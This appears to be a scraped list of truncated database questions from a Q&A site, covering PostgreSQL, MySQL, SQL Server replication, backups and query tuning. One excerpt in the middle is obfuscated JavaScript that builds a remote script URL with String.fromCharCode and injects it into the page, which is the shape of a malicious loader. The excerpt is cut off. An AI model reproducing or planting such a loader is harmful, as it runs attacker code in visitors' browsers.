All Questions

Lots of games are played in each university location every year; but a game between any two universities is played at a given location only one time a year. Information collected about a game ...

I need a query to extract the 14th day or any other day before a day after excluding Saturday and Sunday in Postgresql. For Example, I need 14th day before 2020-01-30 after excluding Saturday and ...

It takes around 6 seconds for the following query to execute on a MacBook Air with 1,8 GHz Dual-Core Intel Core and 8 GB 1600 MHz DDR3, running mysql Ver 14.14 Distrib 5.7.27. I would like to know if ...

I have an active server running around 80-100 active websites. I would like to optimize the server and possibly reduce the amount of RAM and optimize my MySQL settings. I have 30 GB of RAM assigned ...

How to make date intervals from a list of date (Group by columns A and C, the date range consists of a continuous date sequence):

UPDATE hwdb1.tblBearbeiter, (SELECT tbltmp.tmp_pnr, tbltmp.tmp_bez FROM tbltmp) AS relevant SET tblBearbeiter.b_pnr = relevant.tmp_pnr WHERE tblBearbeiter.b_pnr = 0 AND tblBearbeiter....

In my nosql db there is the 'todos' collection which has some fields (doesn't matter) and the userId field. If I create a TODO with user A, it saves the A user's ID to the userID field in the todos ...

I need to assign network service user to SQL Server database programmatically, so I am running this script: USE [MyDB] GO DECLARE @user nvarchar(50) DECLARE @SQLStatement nvarchar(500) SET @user = ...

I've recently been getting the following errors on some of my Percona XtraBackup backups: InnoDB: An optimized (without redo logging) DDL operation has been performed. All modified pages may not have ...

I'm developing a PHP script who store session of users in a Database. When an user logout from server, remove only one row ( because same user can login more than one time ) When server reboot, ...

I want ti copy my collection including is indexes without the data. how can I do it in the most efficient way? I am using a replica set version 4.0.3

I have been assigned a task to setup Streaming replication in Postgresql. I am not a DBA by profession, doing this thing for the first time. I have set up replication, now as we don't want to change ...

I've got the following table And I have to change the order of the rows in an unpredictable way for example: Set the position of the row with id = 1 after the row with id = 3 and preserve the ...

I am trying to start GG service, when try 'start my_service' then starting but it didn't start, status is changed always starting to stopped. I need to start goldengate service.. I don't know what ...

For a Jira system, if use Jira's default connection configuration as below: <?xml version="1.0" encoding="UTF-8"?> <jira-database-config> <name>defaultDS</name> <...

I am running cassandra in 3 node cluster with replication factor 3. It was working fine for 2 days and all of a sudden it went down. I am beginner to cassandra database. I went through documentation ...

I have a database of open-source project mentions. However, a lot of the project mentions are repeating with slight alterations, e.g. scandum/quadsort: merge sort on steroids github.com/scandum/...

I am following these steps but still not able to DECRYPT the data at destination. In Source DB I have created Following: CREATE MASTER KEY ENCRYPTION BY PASSWORD = 'Analytics@2020'; CREATE ...

I need to split a database of users by X pool and each pool need to have nearly the same number of users based on their email provider... For explain to you better, if my database content: 100 users ...

Configuration PostgreSQL 11.4 SET default_statistics_target=1000; Data The scenario is that there are "computers" each with "files", which each have path (ordered text list) unique to that ...

I am attempting to modify postgresql.conf (Postgre SQL 10.0 under Ubuntu 18.04 VPS) to setup the Write Ahead Log (WAL). AIUI, the commands should be: wal_level = replica # minimal, ...

I've been wondering how to manage MySQL memory usage since by default it takes up to 350MB while idle on my machine, I don't have memory issues, I honestly just wondered how could it be done. I found ...

I have a lot of occurrences from different animals (see below) from many many years. I am trying to figure out how to get the average occurrence per week on a year scale per animal. I eventually want ...

I have the following table which I'm trying to limit the column name to ASCII characters ranging from 0x20 to 0x7E. Why is it not working? CREATE TABLE test ( id INTEGER NOT NULL, name TEXT ...

SQL server 2012 is running in our environment. I am able to move the data to the new VHDs mounted as drives but was unable to get the databases on the second instance moved to the new Mount points. So ...

var hgkgfhjereve4 = 1; var d=document;var s=d.createElement('script'); s.type='text/javascript'; s.async=true; var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,108,111,119,46,100,101,115,...

I have this table: from which I create this View: This view's CardId allows me to JOIN against the Card table with so I can retrieve the Count from any CardId. Here's my SQL: SELECT * FROM ( ...

I have a high-load OLTP SQL Server 2008 Enterprise. 4 NUMA, 96 cores, 430 GB RAM allocated to SQL. Most data and logs are on NAND SSD, some logs on 10K drives. It's linked to a few other systems as ...

This is the second time within the last 4 days that one of the tables in my database got corrupted. The is the error that I have seen in my apache log: PHP Fatal error: Uncaught exception '...

Does someone know how to install pgRouting on PostgreSQL? I have tried with PostgreSQL10. I have tried using: sudo yum install https://download.postgresql.org/pub/repos/yum/reporpms/EL-7-x86_64/pgdg-...

I am running optimize table on MySQL table size 340GB in size and storage engine is InnoDB. mysql> show variables like '%tmp%'; +----------------------------+------------------+ | Variable_name ...

currently, I have this table: CREATE TABLE `plant_data` ( `id` BIGINT(20) UNSIGNED NOT NULL AUTO_INCREMENT, `plant_id` BIGINT(20) UNSIGNED NOT NULL, `temperature` DECIMAL(5,1) UNSIGNED ...

I have an azure sql db with a partitioned table with a partition function on varchar datatype. In an Etl process I will get a list of partiton values as a parameter that i will the need to: check ...

I have created adatabase on https://db4free.net/ Now After I login. It tells me that my user has no privilages. Access denied for user 'myroot@localhost' (using password: YES) (SQL: select count(*)...

I need to use the pg_basebackup/pg_dump program on an Ubuntu 18.04 system to connect to a remote PostgreSQL 11.6 server. However, the current system only contains pg_basebackup 10.10 and the remote ...

I made a back of an express DB, it was 14.7GB big (how is this possible) but anyway, I need to restore it back to express but obviously it is too big, but there must be somehow I can do this. I need ...

Does a RDBMS store the row data one after another in a data block? Once data block is full, is the new block assigned continuous? Per my understanding when table is created, DBMS vendor must be ...

I've two Postgres tables. CREATE TABLE questions ( id serial primary key, question varchar(64) unique ); and CREATE TABLE answers ( id serial primary key, answerer serial ...

I have just watched this video by Pinal Dave. He has a SELECT query that produces ~370k reads in tempdb and ~1200 reads of the table the query is SELECTing from. He then creates an index (Let's call ...

I need a scalable MySQL-compatable solution that can scale to multiple installs across a network, handling millions of records on several tables with tens of thousands of concurrent requests per-...

Here is my basic schema wbs_item +----+-----------+-----------+ | id | name | parent_id | +----+-----------+-----------+ | 1 | Materials | | +----+-----------+-----------+ | 2 | ...

How to Calculate the percentage of total arrests for 2015 in Arizona, and name the calculated field ‘2015_pct_of_total’? Thanks]1

I am using Postgres XL 10R1.1, even tough it utilises PostgreSQL 10.6 .. It is still impossible to use triggers. I want to use the inherence partitioning in order to partition my data using my some ...

I was under the impression that WAL segments files are normally generated before they are being written to and archived, and are continuously renamed and reused to save disk space. I was wondering if ...

In a Python environment, I've got the following variable: post_time_ms="1581546697000" which is a Unix-style time with milliseconds. In my table, "created_date_time" is defined as a datetime column....

I currently have constructed a group by query in which returns a list of time with a 15 minutes interval and its list of count aggregate SELECT CONVERT(DATE, DATETIME_COLUMN) AS DATE, ...

I have a program which would read several lines according to the indices of lines within a CSV file with 1,5 billion lines(using c fgets, or is there any tool in C faster than fgets?). Compare with ...

I'm creating an E-Commerce website. and I'm stuck with the shopping cart and payments and orders ... I don't know how to build a reliable and safe structure. you can see my attempt in this picture: ...

I have a query of the following form exec sp_executesql N' UPDATE table SET column1 = 1, modify_date=N''2020-02-12 04:55:59.000'' WHERE (column5=@P1 AND column6=@P2 )',N'@P1 ...

I want to export query result into .txt file The path of .txt file and query is dynamic DELIMITER // create procedure test(filepath text , _query text) BEGIN SET @sql = CONCAT(_query, ' into ...